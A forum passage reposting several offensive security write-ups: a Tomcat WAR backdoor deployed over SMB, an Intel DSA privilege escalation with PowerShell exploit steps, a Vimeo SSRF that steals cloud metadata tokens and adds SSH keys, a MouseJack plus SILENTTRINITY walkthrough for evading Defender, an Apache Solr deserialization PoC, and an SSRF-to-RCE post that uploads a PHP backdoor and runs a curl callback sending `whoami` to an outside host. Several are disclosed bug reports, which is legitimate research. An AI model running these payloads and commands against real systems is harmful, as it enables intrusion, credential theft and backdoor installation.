    Which means that Tomcat interprets the UNC path and is trying to install an application from the “datatest” folder. We will oblige it and create the “datatest” folder, and add a little WAR file in which we insert a backdoor that will enable us to take over the server from our C&C.

    1- Creating a WAR

    Creating a WAR is relatively simple; it’s a zip file whose extension we change to .war. Inside the zip file we have a JSP file that lets us execute system commands through the browser.

    We create our own ZIP with the backdoor inside it…

    créer un fichier .war - generate .war

    … and change the extension:

    créer un fichier zip pour le renommer en .war

    For all you script kiddies out there that aren’t sure about what you’re doing, you can use the handy msfvenom tool to create a WAR file and execute “meterpreter” directly:

    tomcat fichier .war msfvenom meterpreter

    2- Deploy and pwn

    Now that our WAR file is on the Tomcat server and deploy it from our C&C, we are going to use the smbserver.py provided by the “impacket” package to share the following folder:

    host manager dossier avant deploiement

    The deployment is done remotely, and the files are stored on our C&C. To access our backdoor, Tomcat uses the alias, which means it might be necessary to add the server’s IP in the /etc/hosts with vhost that we used for deployment.

    vhost etc host

    Now we configure the application before deployment:

    exploitation d'un tomcat, tomcat host manager avant déploiement

    Success !

    tomcat déploiement fichier etc host vhost

    Connection of Tomcat from my SMB server during deployment:

    tomcat connexion serveur samba

    A quick trip to our browser confirms that our backdoor is now in place, and that we can execute system commands on the Windows server.

    host manager nt system backdoor

    Contents of the directory on my machine once deployment is finished:

    répertoire appli déployée smbserver

     

    This method of Tomcat exploit has been tested on the following Tomcat versions when hosted on a windows server: <=7.0.92 et <=8.5.37.

     

    Sursa: https://www.certilience.fr/2019/03/tomcat-exploit-variant-host-manager/

  6. alt text

    This tool kit is very much influenced by infosecn1nja's kit. Use this script to grab majority of the repos.

    NOTE: hard coded in /opt and made for Kali Linux

    Total Size (so far): 2.5G

    Contents

    Reconnaissance

    Active Intelligence Gathering

    Passive Intelligence Gathering

    Frameworks

    Weaponization

    Delivery

    Phishing

    Watering Hole Attack

    Command and Control

    Remote Access Tools

    Staging

    Lateral Movement

    Establish Foothold

    Escalate Privileges

    Domain Escalation

    Local Escalation

    Data Exfiltration

    Misc

    Wireless Networks

    Embedded & Peripheral Devices Hacking

    Software For Team Communication

    • RocketChat is free, unlimited and open source. Replace email & Slack with the ultimate team chat software solution. https://rocket.chat
    • Etherpad is an open source, web-based collaborative real-time editor, allowing authors to simultaneously edit a text document https://etherpad.net

    Log Aggregation

    C# Offensive Framework

    Labs

    Scripts

    References

    License

    License: GPL v3

     

    Sursa: https://github.com/shr3ddersec/Shr3dKit

    • Like 1
    • Thanks 1
    • Upvote 1
  7. Intel Driver & Support Assistant (DSA) LPE

    Product Intel Driver & Support Assistant (DSA) and Intel Computing Improvement Program
    Severity High
    CVE Reference CVE-2018-12148, CVE- 2018-12168
    Type Local Privilege Escalation

    Description

    Intel Driver & Support Assistant (DSA) is a Freeware application by Intel that checks for updates for Intel drivers and tools.

    It contained a Local Privilege Escalation vulnerability that would allow a local attacker or malware to escalate their privileges from user to system. This vulnerability was patched in version 3.5.0.1

    The same root cause was also identified in 'Intel Computing Improvement Program' for versions before 2.2.0.03942.

    Impact

    An attacker or malicious process could exploit this vulnerability locally to escalate their privileges to NT/SYSTEM.
    The CVSS V3 Vector assigned to this vulnerability is AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H and a score of 7.8.

    Cause

    While the 'Intel(R) SUR QC SA' service is running it may create the file %ProgramData%\Intel\SharedData\SDID. This file is created by the NT/SYSTEM user and is created with the permissions granting all users full control of the file.

     Image 1 SDID permissions2

    A local attacker as any authenticated user can remove the SSID file and create a symlink allowing for arbitrary file creation (with any name) with System permissions while still allowing any user to modify the file once created. 

    Solution

    This vulnerability was patched in  Intel(R) Driver and Support Assistant before 3.5.0.1 and Intel(R) Computing Improvement Program before version 2.2.0.03942.

    The solution in both cases prevents non administrators from writing to the file.

    Exploitation

    An arbitrary file creation and write primitive makes it trivial to gain code execution as system. One approach might be to replace the content of the file created by the Intel application with a malicious DLL and getting a system service/process to load that DLL.
    The simplest way to load a DLL as system is to utilise a feature of the 'Microsoft (R) Diagnostics Hub Standard Collector Service' to load a malicious DLL from the system32 directory.

    Step 1: Remove the File

    Before we can create a symlink we need to remove the SSID file and anything else in the same folder.

    rm "C:\ProgramData\Intel\SharedData\*"

    Step 2: Create Symlink

    Next we need to create a symlink.

    To do this without administrator rights we first need to create a Mount Point such that 'C:\ProgramData\Intel\SharedData\' points to the "\RPC Control\" object directory. We then create a Symlink such that "\RPC Control\SSID" points to "\\?\C:\Windows\System32\evilDll.dlll"

    To do this we can use James Forshaw's symboliclink-testing-tools (https://github.com/google/symboliclink-testing-tools)

    CreateSymlink.exe C:\ProgramData\Intel\SharedData\SDID C:\Windows\System32\evilDll.dll

    Step 3: Start Service

    The service that creates the file is not always running and thus we will need to start it. Thankfully this service can be started by any authenticated user:

    Start-Service -Name "Intel(R) SUR QC SAM"

    Step 4: Trigger file creation

    The service does not automatically create the file, so we need to trigger the file creation. From reverse engineering the service we found the code that is responsible for the creation of the file and that it can be triggered using a couple of HTTP requests to a locally listening server.

    $headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
    $headers.Add("Origin", "http://localhost")
    $params1 = "0`r`n"
    $params2 = '{"assetId": "ef1526ef-396a-4eb3-9869-79ec77c3715b","type": "WindowsApplication","name": "Intel(R) Computing Improvement Program", "custom_data": {"SURVersion": "2.1.03638"}}'
    $port = Get-Content -Path "C:\ProgramData\Intel\SUR\QUEENCREEK\Updater\AppData\web_server_port.txt"
    $uri1 = "http://127.0.0.1:$port/api/v2/api_lock"
    $uri2 = "http://127.0.0.1:$port/api/v2/updates"
    Invoke-WebRequest -Uri $uri1 -Method PUT -Body $params -ContentType "application/json" -Headers $headers
    Invoke-WebRequest -Uri $uri2 -Method POST -Body $params2 -ContentType "application/json" -Headers $headers

    Step 5: Stop Service

    Once the file has been created we need to stop service so it closes the file.

    Stop-Service -Name "Intel(R) SUR QC SAM"

    Step 6: Replace file with evil DLL content

    The contents of the DLL can now be modified to contain malicious code that will be executed as System when it is loaded.

    In this PoC we built a simple DLL that will spawn cmd.exe when loaded.

    Step 7: Load DLL

    For this PoC we decided to load the DLL using a nifty trick by getting the Windows Service ''Microsoft (R) Diagnostics Hub Standard Collector Service" (DiagHub) to load it for us. The details of this technique can be found in a blog post by James Forshaw (https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html).

    Here we modified James' code to launch our evilDLL which results in a System shell being spawned.

    Image 4 System Shell

    Timeline

     

    Date Summary
    03/07/2018 Reported bug via hackerone and email to intel PSIRT
    03/07/2018 Response saying they have passed the report to the aproprate application team
    09/07/2018 Full working exploit provided via hackerone
    13/07/2018 Emailed intel PSIRT with full details and working exploit
    13/07/2018 Product team confirm vulnerabiltiy and that it affects multiple products
    31/07/2018 CVE assigned
    11/09/2018 Vulnerability patached and Intel Advisory issued

    Further Information

    https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00165.html

    https://github.com/googleprojectzero/symboliclink-testing-tools

     

     

    Sursa: https://labs.mwrinfosecurity.com/advisories/intel-driver-and-support-assistant-dsa-lpe/

  8. Vimeo SSRF with code execution potential.

    Mar 8

    Recently i discovered a semi responded SSRF on Vimeo with code execution possibility. This blog post explains how i found & exploited it. So lets get started.

    Background.

    Vimeo provides an API console for their API called API Playground, The requests made using this web app is done from server side. Take the bellow request as an example.

     
    1*07VU1s92mu4Ssr6vMR2oDg.png
    Base request

    This request is supposed to make a server side GET request to

    https://api.vimeo.com/users/{user_id}/videos/{video_id}

    If you look closely to the request we control quite of things here, First the uri parameter which is the endpoint to hit on endpoint i.e. in this case is /users/{user_id}/videos/{video_id} , Request method i.e. in this case is set to GET , params which are supposed to be post parameters if the request method is POST. user_id & video_id are kind of variables whose values gets defined in segments parameter.

    Path traversal in HTTP requests made on server side.

    I first tried to change URI parameter to my custom path however any change in URI will result into a 403, Means that they’re allowing set of API endpoints. However changing the value of variables such as user_id & videos_id is possible because they’re intentional and because this values reflect in the path of URL. Passing ../../../ will result in a request to ROOT of api.vimeo.com
    Bellow is what happens.

    URL.parse(“https://api.vimeo.com/users/1122/videos/../../../attacker”)

    Result : https://api.vimeo.com/attacker

     
    1*19kFzMWxgw9TeNnArYxGPQ.png
    Path traversal in HTTP requests made on server side

    As you can see in response all endpoints of api.vimeo.com is listed which is root response of api.vimeo.com if you make an authenticated request (with authorization header) .

    What now? We’re still on api.vimeo.com host, how do we escape it?

    Well i figured that this is following HTTP 30X redirects, Its a long story took some a bit logical thinking.

    Back to the point, Now i know this is following HTTP redirects and we’re good to move forward, We need an open redirect so that we can redirect server to our controlled asset.

    The good old content discovery…

    A minute of content discovery and i came across an endpoint on api.vimeo.com which makes a redirection to vimeo.com with our controlled path on vimeo.com

    https://api.vimeo.com/m/something
     
    1*ASjV-YoneKJj99mH2bWfjQ.png
    api.vimeo.com to vimeo.com

    Cool, Now we have a wide scope to find an open redirect, I have a not very useful open redirect on vimeo.com , I wont be disclosing its details but lets just assume it is something like this

    https://vimeo/vulnerable/open/redirect?url=https://attacker.com

    This makes a 302 redirect to attacker.com,

    Chain completed to redirect to attacker asset..

    The final payload to redirect the server to our controlled asset is

    ../../../m/vulnerable/open/redirect?url=https://attacker.com

    Passing this value inside video_id will parse URL in this way

    https://api.vimeo.com/users/1122/videos/../../../m/vulnerable/open/redirect?url=https://attacker.com

    Which on parsing becomes

    https://api.vimeo.com/m/vulnerable/open/redirect?url=https://attacker.com

    HTTP redirection made & followed to

    https://vimeo.com/vulnerable/open/redirect?url=https://attacker.com

    Another HTTP redirection made & followed to

    https://attacker.com
     
    1*_pnPVl34KJq6PdrCjECxew.png
    SSRF Achieved, Redacted details regarding the open redirect and my domain.

    The server expects a JSON response and parses it and shows in response.

    Exploiting..

    As Vimeo infrastructure is on Google cloud, My first attempt was to hit the Google metadata API. I followed the approach taken by André Baptista (0xacb)

    This endpoint gives us service account token.

    http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
    { “headers”: [ “HTTP/1.1 200”, “Content-Type: application/json”, “Host: api.vimeo.com” ], “code”: 200, “body”: { “access_token”: “ya29.c.EmKeBq9XXDWtXXXXXXXXecIkeR0dFkGT0rJSA”, “expires_in”: 2631, “token_type”: “Bearer” } }

    Scope of token

    $ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  
     
    Response:
    { "issued_to": "101302079XXXXX", "audience": "10130207XXXXX", "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", "expires_in": 2443, "access_type": "offline" }

    I could then use this token to add my public SSH key to instance and then connect via my private key

    $ curl -X POST “https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" -H “Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA” -H “Content-Type: application/json” — data ‘{“items”: [{“key”: “harsh-bugdiscloseguys”, “value”: “harsh-ssrf”}]}
    Response: 
    { “kind”: “compute#operation”, “id”: “63228127XXXXXX”, “name”: “operation-XXXXXXXXXXXXXXXXXX”, “operationType”: “compute.projects.setCommonInstanceMetadata”, “targetLink”: “https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX", “targetId”: “10423XXXXXXXX”, “status”: “RUNNING”, “user”: “10423XXXXXXXX-compute@developer.gserviceaccount.com”, “progress”: 0, “insertTime”: “2019–01–27T15:50:11.598–08:00”, “startTime”: “2019–01–27T15:50:11.599–08:00”, “selfLink”: “https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX/global/operations/operation-XXXXXX"}

    And…

     
    1*uDQldqL2zISUeXV8_6b0qg.png
    keys added
     
    1*AeRV_Dn4aOw8IJZf9ykxNQ.gif
    *Le me

    However SSH port was open on internal network only :(( but this was enough to proof that internally this can be escalated to shell access.

    Kubernetes keys were also extracted from metadata API, but for some reason i was not able to use them, Although Vimeo team did confirm they were valid.

    Due to my work & involvement with Vimeo, I was allowed to go deeper than would normally have been allowed.

    That’s it folks. I hope you liked this. Share/Re-Tweet is much appreciated, Have any questions regarding this? DM @ rootxharsh

    Thanks to;

    Vimeo team for allowing disclosure of this issue.

    Andre (0xacb) for his awesome report

    Brett (bbuerhaus) for his write up about this SSRF (He and Ben have some lit AF writeups)

    Timeline

    28th Jan early morning : Initial discovery.

    28th Jan : Triaged by HackerOne team

    28th Jan : Vimeo team rewarded initial $100 and pushed temporary fix.

    30th/31st Jan : Permanent fix pushed

    1st Feb : $4900 rewarded.

     

    Go to the profile of Harsh Jaiswal

     

    Sursa: https://medium.com/@rootxharsh_90844/vimeo-ssrf-with-code-execution-potential-68c774ba7c1e

  9. Analysing meterpreter payload with Ghidra
    •  
    •  
    •  

    Yesterday I found a powershell script using urlscan.io which can be found. I didn't (and still don't) have any idea about the origins, being benign or malicious. Spoiler, it is (just) a meterpreter reverse-https payload being delivered using Metasploit's Web Delivery. 

    Urlscan is a great and powerfull tool to analyse webpages. It delivers reports about how the page loads, creates screenshots, stores interesting files and extracts all kind of indicators. Urls can be scanned manually or by the api. There are many automated submissions, like links that have been included in emails or are suspicious. The service helps to find other domains running from the same ip, similar pages and campaigns. 

    Searching for 1.ps1 using urlscan delivers all kind of powershell scripts (many malicious), as also the one I found. Just to add some context, I searched for other occurences of the ip address and file hash delivers, but found just one single result. 

    The powershell contains a base64 encoded payload which will be executed by starting a new powershell session with the script as argument. Using Cyberchef it is easy to decode the base64 payload as can be shown here. Multiple of my dear handler colleagues have written about this useful service already. Cyberchef (runs client side only) makes it easy to create recipes, that will transform the data by just dropping new operations (which are many predefined) to the recipe. This step only base64 decodes the payload, but the next step deflates the payload also.

    Step 2 contains the encoded reverse-https Meterpreter payload that will be loaded and executed in memory. If we now extract the payload and extract it using another recipe we have the shellcode and we'll load this into Ghidra. Ghidra is the Software Reverse Engineering (SRE) suite of tools which are developed (and now opened) by the NSA. Currently the github repository contains only a placeholder, but it says it will be made available opensource. There has been tweeted a lot about Ghidra and overall reactions are positive. Positive reactions are about the decompiler, the ability for collaborating with colleagues, support for adding multiple binaries to a single project, ability to undo, diffing, many supported processors and the analysis. Negative reactions are that it is based on java, supports no debugging and (steep) learning curve. A more thorough overview can be found in this article of Joxean Koret

    Just to highlight a few features of Ghidra, we'll load the binary. After loading the file we have to pick the language, which is x86 32 bits and the binary can be analysed.

    Screenshot%202019-03-08%20at%2010_30_04.

    After importing it will show a small summary about the results. 

    Screenshot%202019-03-08%20at%2010_30_17.

    The payload start address (0x0) needs to be disassembled manually, as it doesn't recognise the code. After disassembling the first bytes, the other code will following and you'll get the this screen. The code can be annotated, functions created, diffed etc. 

    Screenshot%202019-03-08%20at%2010_32_56.

    Ghidra will show the decompiled function next to the assembly view, a sample of decompilated function (the http request and response part) looks like this.

    Screenshot%202019-03-08%20at%2010_38_26.

    The payload uses a hashed functions to prevent presence of strings within the payload containing the system functions, which makes it less readable. 

    After analyses this is just a default Meterpreter payload where a reverse https shell will be opened to a Meterpreter handler.

    Meterpreter http(s) handlers will use the default "It works" page we know from Apache, but only a bit different. As the default Apache index.html contains an extra \n (sha256: f2dcc96deec8bca2facba9ad0db55c89f3c4937cd6d2d28e5c4869216ffa81cf and 45 bytes), where meterpreter doesn't (sha256: 8f3ff2e2482468f3b9315a433b383f0cc0f9eb525889a34d4703b7681330a3fb and 44 bytes). If we search the meterpreter hash for Censys we'll find over two thousand suspected meterpreter servers. Maybe something to blacklist?

    Remco Verhoef (@remco_verhoef)
    ISC Handler - Founder of DutchSec
    PGP Key

     

    Sursa: https://www.dshield.org/forums/diary/Analysing+meterpreter+payload+with+Ghidra/24722/

    • Upvote 1
  10. logo

    Gitee license

    awesome-windows-kernel-security-development

    pe file format

    meltdown/spectre poc

    lightweight c++ gui library

    direct ui

    chrome

    cef

    WebBrowser

    d3d

    lua

    c++ & js

    gdi/gdi+

    computer vision & machine learning

    compress

    Dongle

    spy++

    Shell Extension for Windows Explorer

    windows system programming

    wsl/unix

    device tree

    irp monitor

    nt crucial modules

    windows kernel driver

    windows kernel driver with c++ runtime

    blackbone

    hidinput

    dkom

    ssdt hook

    eat/iat/object/irp/iat hook

    inline hook

    hook engine

    anti hook

    inject technique (ring0)

    inject technique (ring3)

    WoW64 <-> x64

    anti autorun

    anti dll inject

    load Dll from memory

    Unpack dll load in runtime

    dll hijack

    com hijack

    anti dll hijack

    process hollowing

    pe loader

    memory pe dumper

    dll map detection

    dll to shellcode

    dll to exe

    hide process

    hide & delete dll

    load driver from memory

    bypass memory scanner

    KeUserModeCallBack

    callback

    usb filter

    sfilter

    minifilter

    anti Ransomware

    virtual disk

    virtual file system

    lpc

    alpc

    lsp/spi

    afd

    tdi

    wfp

    ndis

    wsk

    rootkits

    mbr

    bootkits

    uefi/smm

    bootloader

    smc

    anti debug

    crypters

    malware

    EternalBlue && Doublepulsar && Mine

    shellcode analysis

    malware analysis

    arktools

    bypass patchguard

    bypass dse

    HackSysExtremeVulnerableDriver

    windows exploits

    windows kernel exploits

    LPE

    office exploit

    flash exploit

    sandbox

    sandbox escape

    anti exploit

    cve

    hips

    windows hypervisor

    kvm

    vt

    firmware

    fuzzer

    emet

    hotpatch

    memory hack

    game

    game hack

    anti cheat

    software reverse

    pe protector

    unpacker

    emulate code execution

    pin

    symbolic execution

    obfuscation

    deobfuscation

    taint analyse

    bin diff

    debugger

    x64dbg plugin

    live kernel debug

    windbg plugin

    ida script & plugin

    ida sig maker

    idapython

    pykd

    rpc

    hash dump

    auxiliary lib

    ring3 nt api

    winpcap

    metasploit

    shellcode encoder

    shadow

    network lib

    http

    https proxy

    sock proxy

    mitm

    ssl

    json

    serialization

    awesome

    windows Driver Kit ddi (device driver interface) documentation

    windbg preview & jsprovider

    anti-anti-vm

    vm

    spy++

    pe tool

    tools

    post-exploitation

    nsa security tools

    apt

    3rd party library

    rpc

    adblock

    miscellaneous

    slides

    blogs

    sec tools

    waf

    web security research site

    development documents

    browser automated test

    docker

    leaked source code

    sspi

    openssl

    pdb

    gpu

    crypto api

    ipc

    iot sec

    ascii banner

    book code

    regex

    paper

    ebook

    pentest

    wpad/pac

    js obfuscator/deobfuscator

    decompiler

    encryption/decryption tools

    english

    library

    awesome-windows-kernel-security-development

     

    Sursa: https://github.com/ExpLife0011/awesome-windows-kernel-security-development/blob/master/README.md

    • Upvote 1
  11.  
    Mar 10, 2019    |    ico_comments.png   0 comments

    MouseJack: From Mouse to Shell – Part 2

    This is a continuation of Part 1 which can be found here.

    New/Fixed Mice

    Since the last blog post, I’ve done some additional testing and it looks like most of the newer wireless mice are not vulnerable to MouseJack. I tested the best-selling wireless mouse on Amazon (VicTsing MM057), Amazon’s choice (AmazonBasics), and one of my favorites (Logitech M510). All three mice were not vulnerable to MouseJack. If you have a wireless mouse that cannot be patched or you are not sure how to patch it, and the mouse is older than 2017 buy a new mouse/keyboard. If you bought and tested a new mouse against MouseJack, please let me know so I can update this post.

    Accept the Risk or Fix the Issue?

    I’m still curious on how organizations are going to remedy this vulnerability across their environment. To my knowledge, you can identify the manufacturer and model from Device Manager, but because we don’t have a list of all known vulnerable mice, it’s hard to say if a particular mouse is vulnerable or not. For example, I have an old Logitech M510 that isn’t patched and a brand new Logitech M510 that is patched. From the OS level, how do we detect the difference? It would be almost impossible to validate vulnerable wireless mice/keyboards across a 60k seat enterprise. What are you doing to remedy this vulnerability or are you accepting the risk? Please comment below or reach out to me directly.

    From Mouse to Shell – Undetected by Defender

    See Part 1 to setup JackIt and CrazyRadio PA. This time, we will use JackIt and a tool known as SILENTTRINITY. SILENTTRINITY was created by Marcello Salvati (@byt3bl33d3r) in 2018. Here’s a talk Marcello gave at DerbyCon and here’s a link to his GitHub. 

    Black Hills (BHIS) did a Webcast a few weeks ago where they did a deep dive on SILENTTRINITY, which can be found here. I won’t go into how this exactly works, but please check out the BHIS Webcast or the DerbyCon talk above for more info.

    Installing Dependencies

    1. Install Kali
    2. cd /opt
    3. git clone GitHub URL
    4. cd impacket
    5. pip install -r requirements.txt
    6. python setup.py install
      • I ran into issues running this command due to the wrong version of ldap3 (see screenshot below). To fix this, run the following commands:
        • pip2 install ldap3==2.5.1
        • pip2 uninstall ldap3==2.5.2
        • reboot?
        • re-run step 6, it should now install successfully
    image-21.png?ssl=1

    Installing SILENTTRINITY

    1. apt install python3.7 python3.7-dev python3-pip
    2. cd /opt
    3. git clone GitHub URL
    4. cd SILENTTRINITY/Server
    5. python3.7 -m pip install -r requirements.txt

    If all went well, SILENTTRINITY should be installed.

    Running SILENTTRINITY

    Start up SILENTTRINITY by running – python3.7 st.py

    image-22.png?resize=569%2C589&ssl=1

    Run the help command to see our options

    image-23.png?resize=259%2C161&ssl=1

    Review listener options

    image-25.png?resize=389%2C212&ssl=1

    Setup the listener

    image-28.png?ssl=1

    Create the stager – I’m using powershell here, wmic is detected by Defender and msbuild requires msbuild.exe on the attack system.

    image-26.png?ssl=1 The stager is located in /opt/SILENTTRINITY/Server

    Move the stager to a HTTPS location where the file can be downloaded. Make sure you use HTTPS and not HTTP, as at least one AV vendor accidentally identifies this stager as Sparc shellcode (wtf?). Using HTTPS bypasses this Snort signature.

    Download and execute the stager using JackIt

    image-29.png?fit=1024%2C561&ssl=1 image-30.png?ssl=1 image-31.png?ssl=1

    Once you have your session you can run modules against the compromised system. Type modules and then type list.

    image-32.png?ssl=1

    These modules are quite powerful and allow you to run mimikatz (make sure you’re running in an elevated process), enumeration scripts, powershell, cmd, winrm, inject shellcode, exfil via github, etc.

    Here is an example of hostenum – which grabs sys info, av check, user groups, env variables, ipconfig, netstat and current processes.

    image-33.png?resize=551%2C627&ssl=1

    Summary:

    Using JackIt with SILENTTRINITY we are able to bypass Defender. I’d like to note that downloading stager.ps1 through the browser caused Defender to block the download but was able to bypass Defender by downloading and running the stager in memory. I was actually quite surprised this bypassed Defender, so I had to try it on a few other systems.

    I was able to bypass all 3 AV/EDR vendors using this technique; although, at least one EDR system, detected suspicious powershell usage (i.e., powershell downloaded something and ran it). Therefore, if you are able to deliver the stager another way such as say, over smb, you may be able to bypass at least a few AV/EDR.

    I didn’t cover the msbuild stager during this post, but if you really wanted to bypass AV/EDR try this type of stager. As long as msbuild.exe is installed on the attack system, you should be good to go (at least for now :)).

    In Part 3, I’ll cover the blue team side of this, as far as what to look for and how to detect SILENTTRINITY. Unfortunately, there is not an easy way to detect JackIt AFAIK. If you know of a detection mechanism for JackIt/MouseJack, please contact me so I can include it in Part 3.

    Sources

    hunter2 gitbook

    impacket GitHub

    SILENTTRINITY

    DerbyCon

    BHIS Webcast

    JackIt GitHub

    Featured Image – Bastille

     

    Sursa: https://www.jimwilbur.com/2019/03/mousejack-from-mouse-to-shell-part-2/

    • Upvote 1
  12. CVE-2019-0192 - Apache Solr RCE 5.0.0 to 5.5.5 and 6.0.0 to 6.6.5

    This is an early PoC of the Apache Solr RCE

    From https://issues.apache.org/jira/browse/SOLR-13301:

    ConfigAPI allows to configure Solr's JMX server via an HTTP POST request. By pointing it to a malicious RMI server, an attacker could take advantage of Solr's unsafe deserialization to trigger remote code execution on the Solr side.

    Proof Of Concept

    image


    By looking on the description of the security advisory and checking on the ConfigAPI ressources of Apache Solr, we can find a reference to a JMX server:

    image

    serviceUrl - (optional str) service URL for a JMX server. If not specified then the default platform MBean server will be used.

    By checking how ConfigAPI is working we can reproduce how to set a remote JMX server:

    curl -i -s -k  -X $'POST' \
        -H $'Host: 127.0.0.1:8983' \
        -H $'Content-Type: application/json' \
        --data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://malicousrmierver.com:1099/obj\"}}' \
        $'http://127.0.0.1:8983/solr/techproducts/config/jmx'
    

    For the PoC I will use yoserial to create a malicious RMI server using the payload Jdk7u21

    1. Start the malicous RMI server:
    java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "touch /tmp/pwn.txt"
    
    1. Run the POST request:
    curl -i -s -k  -X $'POST' \
        -H $'Host: 127.0.0.1:8983' \
        -H $'Content-Type: application/json' \
        --data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://malicousrmierver.com:1099/obj\"}}' \
        $'http://127.0.0.1:8983/solr/techproducts/config/jmx'
    

    note: you should get a 500 error with a nice stacktrace

    1. Check the stacktrace:
    • If you saw this error: "Non-annotation type in annotation serial stream" it's mean that Apache Solr is running with a java version > JRE 7u25 and this poc will not work

    • Otherwise you sould see this error: "undeclared checked exception; nested exception is" and the PoC should work.

    Exploit

    1. Download yoserial : https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
    2. Change values into the script:
    remote = "http://172.18.0.5:8983"
    ressource = ""
    RHOST = "172.18.0.1"
    RPORT = "1099"
    
    1. Then execute the script:
    python3 CVE-2019-0192.py
    

    Security Advisory:

    Ressources:

     

    Sursa: https://github.com/mpgn/CVE-2019-0192/

  13. Escalating SSRF to RCE

    logo-1024x683.jpg

    Hello Pentesters,

    I’m Youssef A. Mohamed aka GeneralEG

    Security Researcher @CESPPACyber Security Engineer @Squnity and SRT Member @Synack

    hackerman-by-shiiftyshift-dan31sc.png

     

    Today I’m going to share a new juicy vulnerability with you as usual.

    • This issue found in a private client so let’s call it redacted.com

    Exploring the scope:

    While enumerating the client’s domain for subdomains. I’ve found subdomain [docs]

    I came out to this subdomain [docs.redact.com]

     

    Finding Out-of-band resource load:

    The [docs] subdomain was showing some documentations and kind of statistics

    Screen1.jpg

     

    While clicking on a statistic’s photo I saw kind of weird but not a magical Link:

    Screen2.jpg

     

    the first thing that came into my mind is to change the ’s value to generaleg0x01.com

    Screen3.jpg

    Then I noticed the [mimeType] parameter so edited the link and changed the values to be like this:

    https://docs.redact.com/report/api/v2/help/asset?url=https://generaleg0x01.com&mimeType=text/html&t=REDACTED.JWT.TOKEN&advertiserId=11

    Screen4.jpg

    Until now it just [Out-of-band resource load]

    Verifying SSRF:

    While checking the requests/responses in my BurpSuite noticed Response Header [X-Amz-Cf-Id]

    So, I’ve figured out that they are on AWS Environment.

    We need to make sure that SSRF is working well here. So as we know [169.254.169.254] is the EC2 instance local IP address.

    Let’s try to access to the meta-data folder by navigating to [/latest/meta-data/].

    Screen5.jpg

     

    SSRF Confirmed.

    Surfing on the EC2 Environment:

    Let’s check our current role by navigating to [/latest/meta-data/iam/security-credentials/].

    It’s aws-elasticbeanstalk-ec2-role

    Screen6.jpg

     

    What’s AWS Elastic Beanstalk?

    It automatically handles the deployment, capacity provisioning, load balancing, auto-scaling, and application health monitoring.

    Grabbing the needed data:

    1) Go to [/latest/meta-data/iam/security-credentials/aws-elasticbeanstalk-ec2-role/]

    to get [AccessKeyId, SecretAccessKey, Token]

    Screen7.jpg

    2) Go to [/latest/dynamic/instance-identity/document/]

    to get [instanceId, accountId, region]

    Screen8.jpg

    Configuring AWS Command Line Interface:

    ~# apt install awscli

    ~# export AWS_ACCESS_KEY_ID=AccessKeyId
    ~# export AWS_SECRET_ACCESS_KEY=SecretAccessKey
    ~# export AWS_DEFAULT_REGION=region
    ~# export AWS_SESSION_TOKEN=Token

    Screen9.jpg

    ~# aws sts get-caller-identity

    Screen10.jpg

    SSRF exploited well, Now let’s explore further possibilities to escalate it to something Bigger “RCE”.

    Escalating SSRF to RCE:

    I went to try some potential exploitation scenarios.

    After a few pieces of research tried to use AWS Systems Manager [ssm] command.

    The role is not authorized to perform this command. I was hoping to escalate it with aws ssm send-command.

    ~# aws ssm send-command –instance-ids “instanceId” –document-name “AWS-RunShellScript” –comment “whoami” –parameters commands=’curl 128.199.xx.xx:8080/`whoami`’ –output text –region=region

    An error occurred (AccessDeniedException) when calling the SendCommand operation: User: arn:aws:sts::765xxxxxxxxx:assumed-role/aws-elasticbeanstalk-ec2-role/i-007xxxxxxxxxxxxxx is not authorized to perform: ssm:SendCommand on resource: arn:aws:ec2:us-east-1:765xxxxxxxxx:instance/i-00xxxxxxxxxxxxxx

    Screen11.jpg

     

    SSH port is closed. I was hoping to escalate it with the famous scenario:

    “creating a RSA authentication key pair (public key and private key), to be able to log into a remote site from the account, without having to type the password.”

    Screen12.jpg

     

    Trying to read the [S3 Bucket] content:

    tried running multiple commands using AWS CLI to retrieve information from the AWS instance. However, access to most of the commands were denied due to the security policy in place.

    ~# aws s3 ls

    An error occurred (AccessDenied) when calling the ListBuckets operation: Access Denied

    Screen13.jpg

    After a few pieces of research figured that the managed policy “AWSElasticBeanstalkWebTier” only allows accessing S3 buckets whose name start with “elasticbeanstalk”.

    In order to access the S3 bucket, we will use the data we grabbed earlier with the following format:

    elasticbeanstalk-region-account-id

    Now, the bucket name is “elasticbeanstalk-us-east-1-76xxxxxxxx00”.

    Let’s listed bucket resources for “elasticbeanstalk-us-east-1-76xxxxxxxx00” in a recursive manner to perform this long-running task using AWS CLI:

    ~# aws s3 ls s3://elasticbeanstalk-us-east-1-76xxxxxxxx00/ –recursive

    Screen14.jpeg

    Now, Let’s try to upload a Backdoor!

    ~# cat cmd.php

     

    Screen15-1.jpg

    ~# aws s3 cp cmd.php s3://elasticbeanstalk-us-east-1-76xxxxxxxx00/

    Screen15-2.jpg

    upload: ./cmd.php to s3://docs.redact.com/cmd.php

    Screen15-3.jpg

    And here we got a successful RCE!

    Screen16.jpg


    In a nutshell:

    You can escalate Server-Side Request Forgery to Remote Code Execute in many ways but it’s depending on your target’s Environment.


    Happy Hacking!

    20140109-144602.jpg

     

     

    Sursa: https://generaleg0x01.com/2019/03/10/escalating-ssrf-to-rce/

    • Upvote 1
  14. linux-insides

    A book-in-progress about the linux kernel and its insides.

